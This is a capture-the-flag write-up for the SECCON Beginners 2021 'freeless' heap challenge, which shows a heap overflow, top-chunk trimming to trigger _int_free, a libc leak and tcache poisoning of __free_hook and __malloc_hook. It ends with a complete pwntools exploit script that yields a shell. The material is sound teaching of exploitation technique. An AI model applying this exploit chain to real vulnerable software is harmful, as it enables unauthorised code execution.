free
関数を使わなければUse-after-Freeは発生しないですよね?
nc freeless.quals.beginners.seccon.jp 9077
freeless.tar.gz 6bfc2be36c249bf337f074b9229002f531ba0693
Let’s just translate the challenge description first.
Translated by DeepL: If you don’t use the free function, Use-after-Free won’t occur, right?
In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.
vagrant in pwnbox in /CTF/seccon-beginner-2021
❯ tree freeless
.
├── chall
├── libc-2.31.so
└── main.c
How nice, they even provided us with the source code! But let’s not get ahead of ourselves. Let’s start off by checking what security mitigations are present in the binary.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ checksec chall
[*] '/CTF/seccon-beginner-2021/freeless/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Wow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ ./chall
1. new
2. edit
3. show
> 1
index: 0
size: 1
1. new
2. edit
3. show
> 2
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
> 3
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
>
[+] bye
On the surface, this seems like a pretty standard heap menu challenge, with one exception. We can create new items, edit them, and view them. However, there seems to be no way to delete items.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep malloc main.c
note[idx] = (char*)malloc(size);
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep free main.c
Staying true to its name, free
is not called anywhere within the program source. Well, that might pose a problem since freeing memory is quite essential in heap exploits.
Ideally the approach we’d take would be to first leak a libc address, calculate libc base, then call system/one_gadget by overwriting one of the libc hooks e.g. __malloc_hook
, __free_hook
since this is a Full RELRO enabled binary. But let’s not get ahead of ourselves.
To begin with, let’s play around with the program a little more to identify what bugs we can potentially leverage.
pwndbg> r
Starting program: /CTF/seccon-beginner-2021/freeless/chall
1. new
2. edit
3. show
> 1
index: 0
size: 24
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51
pwndbg> vis 1 0x555555758290
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> c
Continuing.
2
index: 0
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis 1 0x555555758290
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5555557582b0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA <-- Top chunk
As seen above, we have a heap overflow bug right off the bat.
void readline(char *buf) {
char c;
while ((read(0, &c, 1) == 1) && c != '\n')
*(buf++) = c;
}
This vulnerability can be attributed to the buggy readline
function above, which performs an unbounded read of our input (only stopping when it fails to get input from stdin or upon reading in a newline character).
This is actually a really useful bug for getting our exploit up and running because we can actually leverage on this to regain our ability to free
chunks. How so? Well since we can overwrite the top chunk, one of the intermediate steps in House of Orange comes to mind. In short, we’ll just trigger a call to sysmalloc
which calls _int_free
. Confused? No worries, let’s break it down.
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
First, we need to understand what the top chunk is. The top chunk is essentially the top-most available chunk in a heap which borders the end of available memory. It is not part of any bin, and is instead used to store metadata (remaining available memory) in heap. As seen above, the remaining available memory in the heap is 0x20d50
(note the LSB is used as a PREV_IN_USE
bit, which indicates whether the previous chunk is in use). Don’t take my word for it, let’s verify this.
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555758000 0x555555779000 rw-p 21000 0 [heap]
pwndbg> p/x 0x555555779000-0x5555557582b0
$1 = 0x20d50
As seen above, we’ve confirmed that 0x20d50
is indeed the size of the remaining available memory in the heap. So what happens when the heap has insufficient memory to service a malloc request? Let’s read the glibc 2.31 source code to find out!
# Snippet from glibc 2.31 source malloc/malloc.c
/* ----------- Routines dealing with system allocation -------------- */
/*
sysmalloc handles malloc cases requiring more memory from the system.
On entry, it is assumed that av->top does not have enough
space to service request for nb bytes, thus requiring that av->top
be extended or replaced.
*/
According to the above comment in the malloc source, there’s a function called sysmalloc
that will be called when the heap does not contain enough space to service the malloc request.
# Snippet from glibc 2.31 source malloc/malloc.c
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
Upon perusing the sysmalloc
function, we can see that _int_free
is indeed called. As seen above, _int_free
is called to free the remaining space in the heap if it meets the minimum size for a chunk. This is important.
If we recall the heap has 0x20d50
byte of space left, and if we want to trigger sysmalloc
we need to request more than 0x20d50
bytes via malloc
. However, this is not possible.
if (size >= 0x1000) {
print("[-] size too big\n");
} else {
note[idx] = (char*)malloc(size);
}
As seen from the above source code, we aren’t allowed to request for more than 0x999
bytes of memory.
#define MAX_NOTE 0x10
char *note[MAX_NOTE];
Additionally, we are only allowed to perform up to 16 allocations. Therefore, performing multiple allocations to exhaust 0x20d50
bytes is not an option. Thankfully, we can easily bypass this restriction by overwriting the top chunk size field using the heap overflow bug that we’ve identified earlier.
# Snippet from glibc 2.31 source malloc/malloc.c
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
Before we blindly overwrite the top chunk size using our heap overflow bug, there are a couple of restrictions that we have to take note of. With reference to the above lines in the malloc souce, we have to ensure that the top chunk size:
- Is larger than the minimum chunk size of
0x10
- Has the
PREV_INUSE
bit set - Is aligned to a page i.e.
top chunk size + allocated size
is a multiple of0x1000
- For example, in a heap with 2 allocated chunks, sized
0x290
and0x20
, the top chunk size must end in0x1000 - 0x290 - 0x20 = 0xd50
. Refer to the example below.
- For example, in a heap with 2 allocated chunks, sized
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51
The more keen-eyed readers might have already observed that a simple way to trim the size while mantaining its validity, is to simply trim off everything except the last 3 nibbles e.g. 0x20d51 -> 0xd51
. Since 0xd51
is less than the max allowed allocation size of 0x1000
, we can request that much memory at one go. So let’s try that and see what happens.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x0000000000000d51 eaaafaaaQ....... <-- Top chunk
We start off by using our heap overflow bug to trim the top chunk size. Now let’s request for a chunk of size 0xd50
. Although the top chunk size is 0xd50
, it will be unable to service this request. The reason for this will become apparent after we observe what happens next.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x0000000000000d31 eaaafaaa1....... <-- unsortedbin[all][0]
0x56176779e2c0 0x00007f1cda12fbe0 0x00007f1cda12fbe0 ................
0x56176779e2d0 0x0000000000000000 0x0000000000000000 ................
0x56176779e2e0 0x0000000000000000 0x0000000000000000 ................
---------------------------------TRUNCATED--------------------------------------
0x56176779efd0 0x0000000000000000 0x0000000000000000 ................
0x56176779efe0 0x0000000000000d30 0x0000000000000010 0...............
0x56176779eff0 0x0000000000000000 0x0000000000000011 ................
We note that after the allocation, there are 3 new chunks created from the free space of 0xd50
. We have one 0xd30
sized chunk (that has been linked into unsortedbins), and two 0x10
sized chunks. What are these 0x10
sized chunks? Once again, let’s consult the glibc source.
# Snippet from glibc 2.31 source malloc/malloc.c
/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/
As seen from the above comment, sysmalloc
will insert two fencepost chunks at the old_top to prevent consolidation. The two 0x10
sized chunks that we observed are fencepost chunks.
What about the 0xd50
size chunk that we requested for?
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56176779e000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x56176779e290
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0
Allocated chunk
Addr: 0x56176779efe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x56176779eff0
Size: 0x11
Allocated chunk
Addr: 0x56176779f000
Size: 0x00
pwndbg> version
Gdb: 8.1.1
Python: 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0]
Pwndbg: 1.1.0 build: f74aa34
Notice that pwndbg’s heap
command doesn’t seem to detect that new allocation. This is probably a bug, and is present in version 1.1.0 build: f7aa34
as seen above. So we’ll have to find it ourself.
pwndbg> dq ¬e
000056176626d040 000056176779e2a0 00005617677bf010
000056176626d050 0000000000000000 0000000000000000
000056176626d060 0000000000000000 0000000000000000
000056176626d070 0000000000000000 0000000000000000
pwndbg> vis 1 0x5617677bf010-0x10
0x5617677bf000 0x0000000000000000 0x0000000000000d51 ........Q.......
0x5617677bf010 0x0000000000000000 0x0000000000000000 ................
0x5617677bf020 0x0000000000000000 0x0000000000000000 ................
pwndbg> vis 1 0x5617677bf010-0x10+0xd50
0x5617677bfd50 0x0000000000000000 0x00000000000212b1 ................ <-- Top chunk
Since the challenge binary isn’t stripped, we can simply check the note array which keeps track of all the notes we’ve allocated. As seen above, we’ve been allocated the 0xd50
chunk that we requested, and the top chunk is now at 0x5617677bfd50
.
Allocated chunk | PREV_INUSE (Tcache struct (default))
Addr: 0x56176779e000
Size: 0x291
Allocated chunk | PREV_INUSE (First Note)
Addr: 0x56176779e290
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE (Freed remaining space from initial top)
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0
Allocated chunk (Fencepost chunk)
Addr: 0x56176779efe0
Size: 0x10
Allocated chunk | PREV_INUSE (Fencepost chunk)
Addr: 0x56176779eff0
Size: 0x11
Allocated chunk | PREV_INUSE (Second Note)
Addr: 0x5617677bf000
Size: 0xd51
Top chunk | PREV_INUSE
Addr: 0x5617677bfd50
Size: 0x212b1
The above is a summary of the current state of the heap.
Now that we have a heap chunk that’s linked into unsortedbins, we have a libc address on the stack which we can leak i.e. the ForwarD (FD) and BacKward (BK) pointer. We can leak it by leveraging from the show
function in the program logic.
void print(const char *msg) {
if (write(1, msg, strlen(msg)) < 0)
_exit(1);
}
With reference to the print
function in the program source, show
will continue to print until it encounters a null byte (since strlen
is used to determine how much printing to do). So all we have to do is to use the heap overflow bug to pad the data (in the first note) all the way until the libc address that we want to leak.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x6161616861616167 eaaafaaa1....... <-- unsortedbin[all][0]
0x56176779e2c0 0x00007f1cda12fbe0 0x00007f1cda12fbe0 ................
Using show
to print the data of the first note will now allow us to leak 0x7f1cda12fbe0
.
Next, we need to somehow get hold of an arbitrary write primitive that allows us to target __malloc_hook
or __free_hook
. Since this is glibc 2.31, the easiest way to achieve this is via Tcache Poisoning. To achieve this, we first need to link at least 2 chunks into the same tcachebin. We can do this by leverage on sysmalloc
as we did before, except we need the freed chunk to fall within the tcachebin range.
pwndbg> top_chunk
Top chunk
Addr: 0x560f55a40d50
Size: 0x212b1
Fortunately for us, the last 3 nibbles of the current top chunk is 0x2b1
. So when sysmalloc
is called the free space would be 0x2b0 - 0x10 - 0x10 = 0x290
(we need to account for the 2 fencepost chunks), which means it’d be linked into the 0x290
tcachebin. A request for a 0x2b0
sized chunk should trigger sysmalloc
, so we’ll do just that. However, we have some cleanup to do first.
Before requesting for the 0x2b0
sized chunk, we first have to get the 0xd30
size chunk (the one we used to leak FD) from the unsortedbin. Failing to do so would result in sysmalloc
not being called as 0x2b0
would simply be remaindered from the 0xd30
unsortedbin chunk.
Let’s recap what we have to do:
- Use heap overflow bug to restore
0xd31
size field that we overwrite to leak the FD pointer. - Request for a
0xd30
sized chunk. - Trim top chunk size to
0x2b1
by overflowing from the0xd50
sized allocation (it’s right above the top chunk). - Request for a
0x2b0
sized chunk to triggersysmalloc
and link free space into the0x290
tcachebin
pwndbg> tcachebins
tcachebins
0x290 [ 1]: 0x55b8a6635d60 ◂— 0x0
pwndbg> top_chunk
Top chunk
Addr: 0x55b8a66572b0
Size: 0x21d51
After performing the above steps, we should have managed to link a chunk into the 0x290
tcachebin as expected. Now we’ve just got to link another chunk into the 0x290
tcachebin. However, this time we aren’t as fortunate as the top chunk size after trimming would be 0xd50
. How do we remedy this? Simple. Just shrink the amount of free space available by requesting a chunk. To ensure that we manage to link 0x290
tcachebin, we need to request a chunk of size 0xd50 - (0x290 + 0x10 + 0x10) = 0xaa0
.
So in summary:
- Request for a
0xaa0
sized chunk, top chunk size should then be0x212b1
. - Trim top chunk size to
0x2b1
by overflowing from chunk requested in step 1. - Request for a
0x2b0
sized chunk to triggersysmalloc
and link free space into0x290
tcachebin
pwndbg> tcachebins
tcachebins
0x290 [ 2]: 0x56363f628d60 —▸ 0x56363f606d60 ◂— 0x0
Awesome! As seen above, we’ve managed to set things up so that we can perform Tcache Poisoining.
pwndbg> vis 2 0x56363f6282c0-0x10
0x56363f6282b0 0x0000000000000000 0x0000000000000aa1 ................
0x56363f6282c0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56363f6282d0 0x6161616661616165 0x6161616861616167 eaaafaaagaaahaaa
0x56363f6282e0 0x6161616a61616169 0x6161616c6161616b iaaajaaakaaalaaa
0x56363f6282f0 0x6161616e6161616d 0x616161706161616f maaanaaaoaaapaaa
---------------------------------TRUNCATED--------------------------------------
0x56363f628d30 0x6175616261746162 0x6177616261766162 batabauabavabawa
0x56363f628d40 0x6179616261786162 0x61626262617a6162 baxabayabazabbba
0x56363f628d50 0x6164626261636262 0x0000000000000291 bbcabbda........
0x56363f628d60 0x000056363f606d60 0x000056363f5e5010 `m`?6V...P^?6V.. <-- tcachebins[0x290][0/2]
To achieve an arbitrary write, all we have to do is overflow from the 0xaa0
sized chunk and overwrite the FD pointer (0x000056363f606d60
with reference to the diagram above) of the tcache chunk with our target address, taking extra care to preserve the 0x291
size field. For instance, suppose we want to write to 0xdeadbeefdeadbeef
, we can simply write that address into the FD pointer. Doing so will result in the following:
pwndbg> tcachebins
tcachebins
0x290 [ 2]: 0x56363f628d60 —▸ 0xdeadbeefdeadbeef ◂— 0x0
From this point on, we can just make two requests for 0x290
sized chunks and they will be allocated from the tcache. The second chunk allocated to us will reside at 0xdeadbeefdeadbeef
. We can then use the edit
function of the program to let us write whatever value we desire at said address. Hence, we’ve achieved an arbitrary write.
From this point on we should be able to craft an exploit to spawn a shell on the server.
from pwn import *
HOST = "freeless.quals.beginners.seccon.jp"
PORT = 9077
CHALLENGE = "./chall"
CHALLENGE_LIBC = "libc-2.31.so"
DEBUG_LIBC = "libc-2.31-debug.so"
MENU_PROMPT = "> "
INDEX_PROMPT = "index: "
SIZE_PROMPT = "size: "
DATA_PROMPT = "data: "
DATA_MARKER = "data: "
CURRENT_INDEX = 0
elf = context.binary = ELF(CHALLENGE, checksec=False)
if args.REMOTE:
io = remote(HOST, PORT)
libc = ELF(CHALLENGE_LIBC, checksec=False)
# Use posix_spawn one_gadget (tends to be less finnicky)
# (https://github.com/david942j/one_gadget/issues/121)
libc.symbols["one_gadget"] = 0x54F89
libc.symbols["main_arena"] = libc.sym.__malloc_hook + 0x10
else:
io = elf.process()
libc = ELF(DEBUG_LIBC, checksec=False)
libc.symbols["one_gadget"] = 0xBEEF # one_gadget wont work with debug libc
def create(size: int) -> int:
global CURRENT_INDEX
io.sendlineafter(MENU_PROMPT, str(1))
io.sendlineafter(INDEX_PROMPT, str(CURRENT_INDEX))
io.sendlineafter(SIZE_PROMPT, str(size))
CURRENT_INDEX += 1
return CURRENT_INDEX - 1
def edit(index: int, data: bytes):
io.sendlineafter(MENU_PROMPT, str(2))
io.sendlineafter(INDEX_PROMPT, str(index))
io.sendlineafter(DATA_PROMPT, data)
def view(index: int) -> bytes:
io.sendlineafter(MENU_PROMPT, str(3))
io.sendlineafter(INDEX_PROMPT, str(index))
io.recvuntil(DATA_MARKER)
return io.recvline()
def extract_address(leak: bytes) -> int:
return u64(leak[:6].ljust(8, b"\x00"))
# Stage 1: Trigger _int_free to link free space into unsortedbin chunk
chunk_A = create(0x18)
edit(chunk_A, flat({0x18: p64(0xD51)}))
chunk_B = create(0xD48)
# Stage 2: Leak libc address
edit(chunk_A, cyclic(0x20))
main_arena_96 = extract_address(view(chunk_A)[0x20:])
libc.address = main_arena_96 - (libc.sym.main_arena + 96)
log.success(f"libc @ {hex(libc.address)}")
edit(chunk_A, flat({0x18: p64(0xD31)}))
chunk_C = create(0xD18)
# Stage 3: Trigger _int_free to link free space into tcachebins
edit(chunk_B, flat({0xD48: p64(0x2B1)}))
chunk_D = create(0x2A8) # Link free space (0x290) into tcachebins
# Stage 4: Trigger _int_free to link another chunk into 0x290 tcachebins
# Current free space is 0x21D51
# So if we want to link another 0x290 sized chunk, we have to shrink
# free space by: 0xD50 - (0x290 + 0x20) = 0xAA0
# Note: 0x20 is for the 2 fencepost chunks placed by sysmalloc
# Free space left will be 0x212B1
chunk_E = create(0xA98) # Shrink free space to (0x290)
edit(chunk_E, flat({0xA98: p64(0x2B1)}))
chunk_F = create(0x2A8) # Link free space (0x290) into tcachebins
# At this point, we have to set up the following:
# __free_hook -> one_gadget
# __malloc_hook -> free (this will be used to trigger __free_hook)
#
# Otherwise, one_gadget will segfault when rsp dereferenced during:
# movaps xmmword ptr [rsp + 0x50], xmm0
# Stage 5: Perform tcache poisoning (__free_hook -> one_gadget)
edit(chunk_E, flat({0xA98: p64(0x291)}, p64(libc.sym.__free_hook)))
chunk_G = create(0x288)
chunk_H = create(0x288)
edit(chunk_H, p64(libc.sym.one_gadget))
# Stage 6: Link 2 more chunks into 0x290 tcachebins for another write
chunk_I = create(0xA98) # Shrink free space to (0x290)
edit(chunk_I, flat({0xA98: p64(0x2B1)}))
chunk_J = create(0x2A8) # Link free space (0x290) into tcachebins
chunk_K = create(0xA98) # Shrink free space to (0x290)
edit(chunk_K, flat({0xA98: p64(0x2B1)}))
chunk_L = create(0x2A8) # Link free space (0x290) into tcachebins
# Stage 7: Perform tcache poisoning (__malloc_hook -> free)
edit(chunk_K, flat({0xA98: p64(0x291)}, p64(libc.sym.__malloc_hook)))
chunk_M = create(0x288)
chunk_N = create(0x288)
edit(chunk_N, p64(libc.sym.free + 8)) # +8 to prevent movaps segfault
# Stage 8: Trigger one_gadget
create(0x18)
io.interactive()
Running the above exploit yields us the flag.
❯ python xpl.py REMOTE
[+] Opening connection to freeless.quals.beginners.seccon.jp on port 9077: Done
[+] libc @ 0x7fd587d70000
[*] Switching to interactive mode
$ cat flag*
ctf4b{sysmalloc_wh4t_R_U_d01ng???}
Flag: ctf4b{sysmalloc_wh4t_R_U_d01ng???}